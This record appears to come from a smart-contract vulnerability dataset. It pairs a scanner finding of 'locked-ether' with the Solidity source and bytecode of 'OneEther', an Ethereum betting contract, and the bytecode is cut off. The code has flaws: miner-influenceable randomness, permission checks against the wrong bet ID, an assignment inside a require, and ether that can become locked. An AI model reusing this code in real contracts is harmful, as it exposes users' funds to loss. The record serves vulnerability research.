{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,468
0xc5fb8e0ffa1e03d6252542cbb63c01d78d197789
pragma solidity ^0.4.24; contract OneEther { event onOpenNewBet( uint256 indexed bID, address owner, uint256 check, uint256 unit, uint256 recordTime ); event onEditBet( uint256 indexed bID, address owner, uint256 check, uint256 unit, uint256 recordTime ); event onOpenNewRound( uint256 indexed bID, uint256 indexed rID, uint256 total, uint256 current, uint256 ethAmount, uint256 recordTime ); event RoundMask( uint256 rID, bytes32 hashmask ); event onReveal( uint256 indexed rID, address winner, uint256 reward, uint256 teamFee, uint256 scretNumber, uint256 randomNumber, uint256 recordTime ); event onBuyBet( uint256 indexed bID, uint256 indexed rID, address playerAddress, uint256 amount, uint256 key, uint256 playerCode, uint256 invator, uint256 recordTime ); event onRoundUpdate( uint256 indexed bID, uint256 indexed rID, uint256 totalKey, uint256 currentKey, uint256 lastUpdate ); event onRoundEnd( uint256 indexed bID, uint256 indexed rID, uint256 lastUpdate ); event onWithdraw ( uint256 indexed playerID, address indexed playerAddress, uint256 ethOut, uint256 recordTime ); event onRegistLink ( uint256 indexed playerID, address indexed playerAddress, uint256 recordTime ); event onBuyFailed ( uint256 indexed playerID, uint256 indexed rID, uint256 ethIn, uint256 recordTime ); using SafeMath for *; address private owner = msg.sender; address private admin = msg.sender; bytes32 constant public name = "OneEther"; bytes32 constant public symbol = "OneEther"; uint256 constant MIN_BUY = 0.001 ether; uint256 constant MAX_BUY = 30000 ether; uint256 public linkPrice_ = 0.01 ether; bool public activated_ = false; uint256 private teamFee_ = 0; //team Fee Pot uint256 public bID = 10; uint256 public pID = 100; uint256 public rID = 1000; mapping (address => uint256) public pIDAddr_;//(addr => pID) returns player id by address mapping(uint256 => OneEtherDatasets.BetInfo) public bIDBet_; mapping(uint256 => OneEtherDatasets.stake[]) public betList_; mapping(uint256 => OneEtherDatasets.BetState) public rIDBet_; mapping(uint256 => OneEtherDatasets.Player) public pIDPlayer_; mapping (uint256 => uint256) public bIDrID_; uint256[] public bIDList_; //=============================================================== // construct //============================================================== constructor()payable public{ } //=============================================================== // The following are safety checks //============================================================== //isActivated modifier isbetActivated(uint256 _bID){require(bIDBet_[_bID].bID != 0 && bIDBet_[_bID].isActivated == true,"cant find this bet");_;} modifier isActivated() {require(activated_ == true,"its not ready yet. ");_;} //isAdmin modifier isAdmin(){require(msg.sender == admin,"its can only be call by admin");_;} //limits modifier isWithinLimits(uint256 _eth){require(_eth >= MIN_BUY,"too small");require(_eth <= MAX_BUY,"too big"); _;} //activate game function activate()isAdmin()public{require(activated_ == false,"the game is running");activated_ = true;} //close game dangerous! function close() isAdmin() isActivated() public{activated_ = false;} //=============================================================== // Functions call by admin //============================================================== //set new admin function setNewAdmin(address _addr) public { require(msg.sender == owner); admin = _addr; } function openNewBet(address _owner,uint256 _check,uint256 _unit) isAdmin() isActivated() public { require((_check >= MIN_BUY) && (_check <= MAX_BUY),"out of range"); require((_unit * 2) <= _check,"unit of payment dennied"); bID++; bIDBet_[bID].bID = bID; uint256 _now = now; if(_owner == address(0)) { bIDBet_[bID].owner = admin; } else { bIDBet_[bID].owner = _owner; } bIDBet_[bID].check = _check; bIDBet_[bID].unit = _unit; bIDBet_[bID].isActivated = true; bIDList_.push(bID); //emit emit onOpenNewBet(bID,bIDBet_[bID].owner,_check,_unit,_now); } function openFirstRound(uint256 _bID,bytes32 _maskHash) public isbetActivated(_bID) { address addr = msg.sender; require(bIDBet_[bID].bID != 0,"cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin,"Permission denied"); require(bIDrID_[_bID] == 0,"One Bet can only open one round"); newRound(_bID,_maskHash); } function closeBet(uint256 _bID) public { address addr = msg.sender; require(bIDBet_[bID].bID != 0,"cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin,"Permission denied"); // this means it cant be generated next round. current round would continue to end. bIDBet_[_bID].isActivated = false; //emit } function openBet(uint256 _bID) public { address addr = msg.sender; require(bIDBet_[bID].bID != 0,"cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin,"Permission denied"); require(bIDBet_[_bID].isActivated = false,"This bet is opening"); bIDBet_[_bID].isActivated = true; } function editBet(uint256 _bID,uint256 _check,uint256 _unit) public { require((_check >= MIN_BUY) && (_check <= MAX_BUY),"out of range"); address addr = msg.sender; require(bIDBet_[_bID].bID != 0,"cant find this bet"); require(bIDBet_[bID].owner == addr || bIDBet_[bID].owner == admin,"Permission denied"); bIDBet_[_bID].check = _check; bIDBet_[_bID].unit = _unit; emit onEditBet(bID,bIDBet_[bID].owner,_check,_unit,now); } function withdrawFee() isAdmin() public { uint256 temp = teamFee_; teamFee_ = 0; msg.sender.transfer(temp); } //=============================================================== // functions call by gameplayer //============================================================== function buySome(uint256 _rID,uint256 _key,uint256 _playerCode,uint256 _linkPID) public payable { require(rIDBet_[_rID].rID != 0,"cant find this round"); uint256 _bID = rIDBet_[_rID].bID; require(bIDBet_[_bID].bID != 0,"cant find this bet"); require(_key <= rIDBet_[_rID].total,"key must not beyond limit"); require(msg.value >= bIDBet_[_bID].unit,"too small for this bet"); require(bIDBet_[_bID].unit * _key == msg.value,"not enough payment"); require(_playerCode < 100000000000000,"your random number is too big"); uint256 _pID = managePID(_linkPID); if(rIDBet_[_rID].current + _key <= rIDBet_[_rID].total) { uint256 _value = manageLink(_pID,msg.value); manageKey(_pID,_rID,_key); rIDBet_[_rID].current = rIDBet_[_rID].current.add(_key); rIDBet_[_rID].ethAmount = rIDBet_[_rID].ethAmount.add(_value); rIDBet_[_rID].playerCode = rIDBet_[_rID].playerCode.add(_playerCode); emit onBuyBet(_bID,_rID,pIDPlayer_[_pID].addr,_value,_key,_playerCode,pIDPlayer_[_pID].invator,now); if(rIDBet_[_rID].current >= rIDBet_[_rID].total) { emit onRoundEnd(_bID,_rID,now); } } else{ // failed to pay a bet,the value will be stored in player's balance pIDPlayer_[_pID].balance = pIDPlayer_[_pID].balance.add(msg.value); emit onBuyFailed(_pID,_rID,msg.value,now); } } function buyWithBalance(uint256 _rID,uint256 _key,uint256 _playerCode) public payable { uint256 _pID = pIDAddr_[msg.sender]; require(_pID != 0,"player not founded in contract "); require(rIDBet_[_rID].rID != 0,"cant find this round"); uint256 _bID = rIDBet_[_rID].bID; require(bIDBet_[_bID].bID != 0,"cant find this bet"); uint256 _balance = pIDPlayer_[_pID].balance; require(_key <= rIDBet_[_rID].total,"key must not beyond limit"); require(_balance >= bIDBet_[_bID].unit,"too small for this bet"); require(bIDBet_[_bID].unit * _key <= _balance,"not enough balance"); require(_playerCode < 100000000000000,"your random number is too big"); require(rIDBet_[_rID].current + _key <= rIDBet_[_rID].total,"you beyond key"); pIDPlayer_[_pID].balance = pIDPlayer_[_pID].balance.sub(bIDBet_[_bID].unit * _key); uint256 _value = manageLink(_pID,bIDBet_[_bID].unit * _key); manageKey(_pID,_rID,_key); rIDBet_[_rID].current = rIDBet_[_rID].current.add(_key); rIDBet_[_rID].ethAmount = rIDBet_[_rID].ethAmount.add(_value); rIDBet_[_rID].playerCode = rIDBet_[_rID].playerCode.add(_playerCode); emit onBuyBet(_bID,_rID,pIDPlayer_[_pID].addr,_value,_key,_playerCode,pIDPlayer_[_pID].invator,now); if(rIDBet_[_rID].current == rIDBet_[_rID].total) { emit onRoundEnd(_bID,_rID,now); } } function buyLink() public payable { require(msg.value >= linkPrice_,"not enough payment to buy link"); uint256 _pID = managePID(0); pIDPlayer_[_pID].VIP = true; teamFee_ = teamFee_.add(msg.value); //emit emit onRegistLink(_pID,pIDPlayer_[_pID].addr,now); } function reveal(uint256 _rID,uint256 _scretKey,bytes32 _maskHash) public { require(rIDBet_[_rID].rID != 0,"cant find this round"); uint256 _bID = rIDBet_[_rID].bID; require(bIDBet_[_bID].bID != 0,"cant find this bet"); require((bIDBet_[_bID].owner == msg.sender) || admin == msg.sender,"can only be revealed by admin or owner"); bytes32 check = keccak256(abi.encodePacked(_scretKey)); require(check == rIDBet_[_rID].maskHash,"scretKey is not match maskHash"); uint256 modulo = rIDBet_[_rID].total; //get random , use secretnumber,playerCode,blockinfo bytes32 random = keccak256(abi.encodePacked(check,rIDBet_[_rID].playerCode,(block.number + now))); uint result = (uint(random) % modulo) + 1; uint256 _winPID = 0; for(uint i = 0;i < betList_[_rID].length;i++) { if(result >= betList_[_rID][i].start && result <= betList_[_rID][i].end) { _winPID = betList_[_rID][i].pID; break; } } // pay the reward uint256 reward = rIDBet_[_rID].ethAmount; uint256 teamFee = (bIDBet_[_bID].check.mul(3))/100; pIDPlayer_[_winPID].balance = pIDPlayer_[_winPID].balance.add(reward); //emit emit onReveal(_rID,pIDPlayer_[_winPID].addr,reward,teamFee,_scretKey,result,now); // delete thie round; delete rIDBet_[_rID]; delete betList_[_rID]; bIDrID_[_bID] = 0; // start to reset round newRound(_bID,_maskHash); } function getPlayerByAddr(address _addr) public view returns(uint256,uint256,bool) { uint256 _pID = pIDAddr_[_addr]; return (_pID,pIDPlayer_[_pID].balance,pIDPlayer_[_pID].VIP); } function getRoundInfoByID(uint256 _rID) public view returns(uint256,uint256,uint256,uint256,uint256,bytes32,uint256) { return ( rIDBet_[_rID].rID, //0 rIDBet_[_rID].bID, //1 rIDBet_[_rID].total, //2 rIDBet_[_rID].current, //3 rIDBet_[_rID].ethAmount, //4 rIDBet_[_rID].maskHash, //5 rIDBet_[_rID].playerCode //6 ); } function getBetInfoByID(uint256 _bID) public view returns(uint256,uint256,address,uint256,uint256,bool) { return ( bIDrID_[_bID], //get current rID bIDBet_[_bID].bID, bIDBet_[_bID].owner, bIDBet_[_bID].check, bIDBet_[_bID].unit, bIDBet_[_bID].isActivated ); } function getBIDList() public view returns(uint256[]) {return(bIDList_);} function withdraw() isActivated() public { uint256 _now = now; uint256 _pID = pIDAddr_[msg.sender]; uint256 _eth; if(_pID != 0) { _eth = withdrawEarnings(_pID); require(_eth > 0,"no any balance left"); pIDPlayer_[_pID].addr.transfer(_eth); emit onWithdraw(_pID,msg.sender,_eth,_now); } } //=============================================================== // internal call //============================================================== function manageKey(uint256 _pID,uint256 _rID,uint256 _key) private { uint256 _current = rIDBet_[_rID].current; OneEtherDatasets.stake memory _playerstake = OneEtherDatasets.stake(0,0,0); _playerstake.start = _current + 1; _playerstake.end = _current + _key; _playerstake.pID = _pID; betList_[_rID].push(_playerstake); } function manageLink(uint256 _pID,uint256 _value) private returns(uint256) { uint256 cut = (_value.mul(3))/100;//3% for teamFee uint256 _value2 = _value.sub(cut); uint256 _invator = pIDPlayer_[_pID].invator; if(_invator != 0) { uint256 cut2 = (cut.mul(60))/100; //2% for the invator cut = cut.sub(cut2); pIDPlayer_[_invator].balance = pIDPlayer_[_invator].balance.add(cut2); } teamFee_ = teamFee_.add(cut); return _value2; } function managePID(uint256 _linkPID) private returns (uint256) { uint256 _pID = pIDAddr_[msg.sender]; if(_pID == 0) { // regist a new player pID++; pIDAddr_[msg.sender] = pID; // set new player struct pIDPlayer_[pID].addr = msg.sender; pIDPlayer_[pID].balance = 0; pIDPlayer_[pID].VIP = false; if(pIDPlayer_[_linkPID].addr != address(0) && pIDPlayer_[_linkPID].VIP == true) { pIDPlayer_[pID].invator = _linkPID; } return (pID); } else{ return (_pID); } } function newRound(uint256 _bID,bytes32 _maskHash) private { uint256 _total = bIDBet_[_bID].check / bIDBet_[_bID].unit; if(bIDBet_[_bID].isActivated == true) { rID++; rIDBet_[rID].rID = rID; rIDBet_[rID].bID = _bID; rIDBet_[rID].total = _total; rIDBet_[rID].current = 0; rIDBet_[rID].ethAmount = 0; rIDBet_[rID].maskHash = _maskHash; rIDBet_[rID].playerCode = 0; bIDrID_[_bID] = rID; emit onOpenNewRound(_bID,rID,rIDBet_[rID].total,rIDBet_[rID].current,rIDBet_[rID].ethAmount,now); emit RoundMask(rID,_maskHash); } else { bIDrID_[_bID] = 0; } } function withdrawEarnings(uint256 _pID) private returns(uint256) { uint256 _earnings = pIDPlayer_[_pID].balance; if (_earnings > 0) { pIDPlayer_[_pID].balance = 0; } return(_earnings); } } library OneEtherDatasets { struct BetInfo { uint256 bID; address owner; uint256 check; uint256 unit; bool isActivated; } struct BetState{ uint256 rID; uint256 bID; uint256 total; uint256 current; uint256 ethAmount; bytes32 maskHash; uint256 playerCode; } struct Player{ address addr; uint256 balance; uint256 invator; bool VIP; } struct stake{ uint256 start; uint256 end; uint256 pID; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i = 1;i < y;i++) z = mul(z,x); return (z); } } }
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461019a5780630f15f4c0146101c157806310db48be146101d8578063331b7698146101f95780633ccfd60b1461024657806343d726d61461025b5780634b8f7416146102705780634baa39be146102c05780634ead4771146102de57806359c281da146103435780635c57190c1461035e57806361d49ea81461037657806363f6100d146103945780636de0b375146103a8578063717ab112146103c05780638eec99c8146103d557806395d89b411461019a57806396b15c0b146103f65780639b6ed7771461040b578063a1804e6714610420578063a24beff714610431578063a654ecd514610449578063b78ce8ee1461045e578063bbc6df3014610476578063c3031fac1461048e578063c77c00f8146104c7578063c81c198c146104ee578063c8cfb03214610538578063cf53d63014610579578063d53b2679146105ce578063e941fa78146105f7578063f70734901461060c575b600080fd5b3480156101a657600080fd5b506101af610614565b60408051918252519081900360200190f35b3480156101cd57600080fd5b506101d6610638565b005b3480156101e457600080fd5b506101af600160a060020a03600435166106f2565b34801561020557600080fd5b50610211600435610704565b60408051958652600160a060020a03909416602086015284840192909252606084015215156080830152519081900360a00190f35b34801561025257600080fd5b506101d6610740565b34801561026757600080fd5b506101d66108ae565b34801561027c57600080fd5b50610288600435610969565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b3480156102cc57600080fd5b506101d66004356024356044356109a6565b3480156102ea57600080fd5b506102f3610b88565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561032f578181015183820152602001610317565b505050509050019250505060405180910390f35b34801561034f57600080fd5b506101d6600435602435610be1565b34801561036a57600080fd5b506101af600435610dbc565b34801561038257600080fd5b506101d6600435602435604435610dce565b6101d660043560243560443560643561132a565b3480156103b457600080fd5b506101d66004356117b5565b3480156103cc57600080fd5b506101af61190b565b3480156103e157600080fd5b506101d6600160a060020a0360043516611911565b34801561040257600080fd5b506101af611957565b34801561041757600080fd5b506101af61195d565b6101d6600435602435604435611963565b34801561043d57600080fd5b506101d6600435611e8d565b34801561045557600080fd5b506101af611f96565b34801561046a57600080fd5b506101af600435611f9c565b34801561048257600080fd5b50610288600435611fbb565b34801561049a57600080fd5b506104a9600435602435611ff8565b60408051938452602084019290925282820152519081900360600190f35b3480156104d357600080fd5b506101d6600160a060020a0360043516602435604435612039565b3480156104fa57600080fd5b5061050660043561233e565b60408051600160a060020a03909516855260208501939093528383019190915215156060830152519081900360800190f35b34801561054457600080fd5b50610559600160a060020a0360043516612372565b604080519384526020840192909252151582820152519081900360600190f35b34801561058557600080fd5b506105916004356123ad565b604080519687526020870195909552600160a060020a039093168585015260608501919091526080840152151560a0830152519081900360c00190f35b3480156105da57600080fd5b506105e36123f8565b604080519115158252519081900360200190f35b34801561060357600080fd5b506101d6612401565b6101d6612491565b7f4f6e65457468657200000000000000000000000000000000000000000000000081565b600154600160a060020a03163314610688576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612b27833981519152604482015290519081900360640190fd5b60035460ff16156106e3576040805160e560020a62461bcd02815260206004820152601360248201527f7468652067616d652069732072756e6e696e6700000000000000000000000000604482015290519081900360640190fd5b6003805460ff19166001179055565b60086020526000908152604090205481565b600960205260009081526040902080546001820154600283015460038401546004909401549293600160a060020a039092169290919060ff1685565b6003546000908190819060ff1615156001146107a6576040805160e560020a62461bcd02815260206004820152601360248201527f697473206e6f74207265616479207965742e2000000000000000000000000000604482015290519081900360640190fd5b33600090815260086020526040902054429350915081156108a9576107ca82612581565b905060008111610824576040805160e560020a62461bcd02815260206004820152601360248201527f6e6f20616e792062616c616e6365206c65667400000000000000000000000000604482015290519081900360640190fd5b6000828152600c6020526040808220549051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610868573d6000803e3d6000fd5b5060408051828152602081018590528151339285927fee898eacf688f6932b2234d6e6467430ce81a75c69d0805ca79399e195cd6663929081900390910190a35b505050565b600154600160a060020a031633146108fe576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612b27833981519152604482015290519081900360640190fd5b60035460ff16151560011461095d576040805160e560020a62461bcd02815260206004820152601360248201527f697473206e6f74207265616479207965742e2000000000000000000000000000604482015290519081900360640190fd5b6003805460ff19169055565b600b602052600090815260409020805460018201546002830154600384015460048501546005860154600690960154949593949293919290919087565b600066038d7ea4c6800083101580156109c9575069065a4da25d3016c000008311155b1515610a1f576040805160e560020a62461bcd02815260206004820152600c60248201527f6f7574206f662072616e67650000000000000000000000000000000000000000604482015290519081900360640190fd5b5060008381526009602052604090205433901515610a75576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0382811691161480610ac6575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b1515610b0a576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612b07833981519152604482015290519081900360640190fd5b60008481526009602090815260408083206002810187905560030185905560055480845292819020600101548151600160a060020a039091168152918201869052818101859052426060830152517fbc32fec5748f86214c69e4ef7e6fed603b60df94c24180a4b627e360a28b33429181900360800190a250505050565b6060600e805480602002602001604051908101604052809291908181526020018280548015610bd657602002820191906000526020600020905b815481526020019060010190808311610bc2575b505050505090505b90565b600082815260096020526040812054839015801590610c16575060008181526009602052604090206004015460ff1615156001145b1515610c5a576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b6005546000908152600960205260409020543392501515610cb3576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0383811691161480610d04575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b1515610d48576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612b07833981519152604482015290519081900360640190fd5b6000848152600d602052604090205415610dac576040805160e560020a62461bcd02815260206004820152601f60248201527f4f6e65204265742063616e206f6e6c79206f70656e206f6e6520726f756e6400604482015290519081900360640190fd5b610db684846125b8565b50505050565b600d6020526000908152604090205481565b6000838152600b6020526040812054819081908190819081908190819081901515610e43576040805160e560020a62461bcd02815260206004820152601460248201527f63616e742066696e64207468697320726f756e64000000000000000000000000604482015290519081900360640190fd5b60008c8152600b60209081526040808320600101548084526009909252909120549099501515610eab576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b600089815260096020526040902060010154600160a060020a0316331480610edd5750600154600160a060020a031633145b1515610f59576040805160e560020a62461bcd02815260206004820152602660248201527f63616e206f6e6c792062652072657665616c65642062792061646d696e206f7260448201527f206f776e65720000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8a604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b60208310610fa85780518252601f199092019160209182019101610f89565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209750600b60008d81526020019081526020016000206005015460001916886000191614151561104e576040805160e560020a62461bcd02815260206004820152601e60248201527f73637265744b6579206973206e6f74206d61746368206d61736b486173680000604482015290519081900360640190fd5b60008c8152600b6020908152604091829020600281015460069091015483518084018d905280850191909152434201606080830191909152845180830390910181526080909101938490528051919a5092918291908401908083835b602083106110c95780518252601f1990920191602091820191016110aa565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912098508992508891505081151561110457fe5b06600101945060009350600092505b60008c8152600a60205260409020548310156111d25760008c8152600a6020526040902080548490811061114357fe5b906000526020600020906003020160000154851015801561118f575060008c8152600a6020526040902080548490811061117957fe5b9060005260206000209060030201600101548511155b156111c75760008c8152600a602052604090208054849081106111ae57fe5b90600052602060002090600302016002015493506111d2565b600190920191611113565b60008c8152600b60209081526040808320600401548c845260099092529091206002015490925060649061120d90600363ffffffff61272c16565b81151561121657fe5b6000868152600c6020526040902060010154919004915061123d908363ffffffff6127a916565b6000858152600c6020908152604091829020600181019390935591548151600160a060020a039091168152918201849052818101839052606082018d9052608082018790524260a0830152518d917f04a377b83c50c3112030b5cec70aa3cfed91b5f4009162f2a646ebcde50276d9919081900360c00190a260008c8152600b602090815260408083208381556001810184905560028101849055600381018490556004810184905560058101849055600601839055600a909152812061130391612a95565b6000898152600d602052604081205561131c898b6125b8565b505050505050505050505050565b6000848152600b6020526040812054819081901515611393576040805160e560020a62461bcd02815260206004820152601460248201527f63616e742066696e64207468697320726f756e64000000000000000000000000604482015290519081900360640190fd5b6000878152600b602090815260408083206001015480845260099092529091205490935015156113fb576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b6000878152600b6020526040902060020154861115611464576040805160e560020a62461bcd02815260206004820152601960248201527f6b6579206d757374206e6f74206265796f6e64206c696d697400000000000000604482015290519081900360640190fd5b6000838152600960205260409020600301543410156114cd576040805160e560020a62461bcd02815260206004820152601660248201527f746f6f20736d616c6c20666f7220746869732062657400000000000000000000604482015290519081900360640190fd5b60008381526009602052604090206003015486023414611537576040805160e560020a62461bcd02815260206004820152601260248201527f6e6f7420656e6f756768207061796d656e740000000000000000000000000000604482015290519081900360640190fd5b655af3107a40008510611594576040805160e560020a62461bcd02815260206004820152601d60248201527f796f75722072616e646f6d206e756d62657220697320746f6f20626967000000604482015290519081900360640190fd5b61159d84612804565b6000888152600b60205260409020600281015460039091015491935090870111611734576115cb82346128e5565b90506115d88288886129bf565b6000878152600b60205260409020600301546115fa908763ffffffff6127a916565b6000888152600b60205260409020600381019190915560040154611624908263ffffffff6127a916565b6000888152600b6020526040902060048101919091556006015461164e908663ffffffff6127a916565b6000888152600b6020908152604080832060060193909355848252600c81529082902080546002909101548351600160a060020a0390921682529181018490528083018990526060810188905260808101919091524260a08201529051889185917f5b324661b09e34246f7bae6ec3b9a4d912f91d5f2d7074b8ca6404674a1b3b7d9181900360c00190a36000878152600b6020526040902060028101546003909101541061172f57604080514281529051889185917f4c990201c2919f7b317d8cd9772f9bf0809028eec5f8fe4fa834bd3fed9ed4e49181900360200190a35b6117ac565b6000828152600c6020526040902060010154611756903463ffffffff6127a916565b6000838152600c602090815260409182902060010192909255805134815242928101929092528051899285927f9788adba038de75934212f990d83caf607ae4434d0a2ee1a8761eab68126b4d492918290030190a35b50505050505050565b6005546000908152600960205260409020543390151561180d576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a038281169116148061185e575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b15156118a2576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612b07833981519152604482015290519081900360640190fd5b6000828152600960205260409020600401805460ff191690556040805160e560020a62461bcd02815260206004820152601360248201527f5468697320626574206973206f70656e696e6700000000000000000000000000604482015290519081900360640190fd5b60065481565b600054600160a060020a0316331461192857600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055481565b60075481565b336000908152600860205260408120549080808315156119cd576040805160e560020a62461bcd02815260206004820152601f60248201527f706c61796572206e6f7420666f756e64656420696e20636f6e74726163742000604482015290519081900360640190fd5b6000878152600b60205260409020541515611a32576040805160e560020a62461bcd02815260206004820152601460248201527f63616e742066696e64207468697320726f756e64000000000000000000000000604482015290519081900360640190fd5b6000878152600b60209081526040808320600101548084526009909252909120549093501515611a9a576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b6000848152600c60209081526040808320600101548a8452600b90925290912060020154909250861115611b18576040805160e560020a62461bcd02815260206004820152601960248201527f6b6579206d757374206e6f74206265796f6e64206c696d697400000000000000604482015290519081900360640190fd5b600083815260096020526040902060030154821015611b81576040805160e560020a62461bcd02815260206004820152601660248201527f746f6f20736d616c6c20666f7220746869732062657400000000000000000000604482015290519081900360640190fd5b6000838152600960205260409020600301548602821015611bec576040805160e560020a62461bcd02815260206004820152601260248201527f6e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b655af3107a40008510611c49576040805160e560020a62461bcd02815260206004820152601d60248201527f796f75722072616e646f6d206e756d62657220697320746f6f20626967000000604482015290519081900360640190fd5b6000878152600b60205260409020600281015460039091015487011115611cba576040805160e560020a62461bcd02815260206004820152600e60248201527f796f75206265796f6e64206b6579000000000000000000000000000000000000604482015290519081900360640190fd5b600083815260096020908152604080832060030154878452600c90925290912060010154611cef91880263ffffffff612a3516565b6000858152600c6020908152604080832060010193909355858252600990522060030154611d2090859088026128e5565b9050611d2d8488886129bf565b6000878152600b6020526040902060030154611d4f908763ffffffff6127a916565b6000888152600b60205260409020600381019190915560040154611d79908263ffffffff6127a916565b6000888152600b60205260409020600481019190915560060154611da3908663ffffffff6127a916565b6000888152600b6020908152604080832060060193909355868252600c81529082902080546002909101548351600160a060020a0390921682529181018490528083018990526060810188905260808101919091524260a08201529051889185917f5b324661b09e34246f7bae6ec3b9a4d912f91d5f2d7074b8ca6404674a1b3b7d9181900360c00190a36000878152600b60205260409020600281015460039091015414156117ac57604080514281529051889185917f4c990201c2919f7b317d8cd9772f9bf0809028eec5f8fe4fa834bd3fed9ed4e49181900360200190a350505050505050565b60055460009081526009602052604090205433901515611ee5576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612b47833981519152604482015290519081900360640190fd5b600554600090815260096020526040902060010154600160a060020a0382811691161480611f36575060018054600554600090815260096020526040902090910154600160a060020a039081169116145b1515611f7a576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612b07833981519152604482015290519081900360640190fd5b506000908152600960205260409020600401805460ff19169055565b60025481565b600e805482908110611faa57fe5b600091825260209091200154905081565b6000908152600b60205260409020805460018201546002830154600384015460048501546005860154600690960154949693959294919390929190565b600a6020528160005260406000208181548110151561201357fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b600154600090600160a060020a0316331461208c576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612b27833981519152604482015290519081900360640190fd5b60035460ff1615156001146120eb576040805160e560020a62461bcd02815260206004820152601360248201527f697473206e6f74207265616479207965742e2000000000000000000000000000604482015290519081900360640190fd5b66038d7ea4c68000831015801561210c575069065a4da25d3016c000008311155b1515612162576040805160e560020a62461bcd02815260206004820152600c60248201527f6f7574206f662072616e67650000000000000000000000000000000000000000604482015290519081900360640190fd5b600282028310156121bd576040805160e560020a62461bcd02815260206004820152601760248201527f756e6974206f66207061796d656e742064656e6e696564000000000000000000604482015290519081900360640190fd5b50600580546001019081905560008181526009602052604090205542600160a060020a038416151561223057600180546005546000908152600960205260409020909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390921691909117905561226b565b6005546000908152600960205260409020600101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0386161790555b6005805460009081526009602090815260408083206002018790558354835280832060030186905583548352808320600401805460ff191660019081179091559354600e80548087019091557fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0181905580845292819020909301548351600160a060020a03909116815290810186905280830185905260608101849052915190917ff2e220cf825d217203c7d359235d871cf14d635f88bc18ce235ee5132b94cbc7919081900360800190a250505050565b600c602052600090815260409020805460018201546002830154600390930154600160a060020a0390921692909160ff1684565b600160a060020a0316600090815260086020908152604080832054808452600c90925290912060018101546003909101549192909160ff1690565b6000908152600d60209081526040808320546009909252909120805460018201546002830154600384015460049094015494959294600160a060020a03909216939092909160ff1690565b60035460ff1681565b600154600090600160a060020a03163314612454576040805160e560020a62461bcd02815260206004820152601d6024820152600080516020612b27833981519152604482015290519081900360640190fd5b50600480546000918290556040519091339183156108fc0291849190818181858888f1935050505015801561248d573d6000803e3d6000fd5b5050565b6002546000903410156124ee576040805160e560020a62461bcd02815260206004820152601e60248201527f6e6f7420656e6f756768207061796d656e7420746f20627579206c696e6b0000604482015290519081900360640190fd5b6124f86000612804565b6000818152600c60205260409020600301805460ff1916600117905560045490915061252a903463ffffffff6127a916565b6004556000818152600c60209081526040918290205482514281529251600160a060020a039091169284927f3d431dd0e4419a4c3ee7726a0f4162a7b74b30ea4b7589106fa949402039b6c692918290030190a350565b6000818152600c6020526040812060010154818111156125ae576000838152600c60205260408120600101555b8091505b50919050565b600082815260096020526040812060038101546002909101548115156125da57fe5b600085815260096020526040902060040154919004915060ff16151560011415612719576007805460019081018083556000818152600b6020818152604080842094855593909401889055845482528282206002908101879055855483528383206003908101849055865484528484206004908101859055875485528585206005018a90558754855285852060060185905596548a8552600d8752858520819055808552928652928490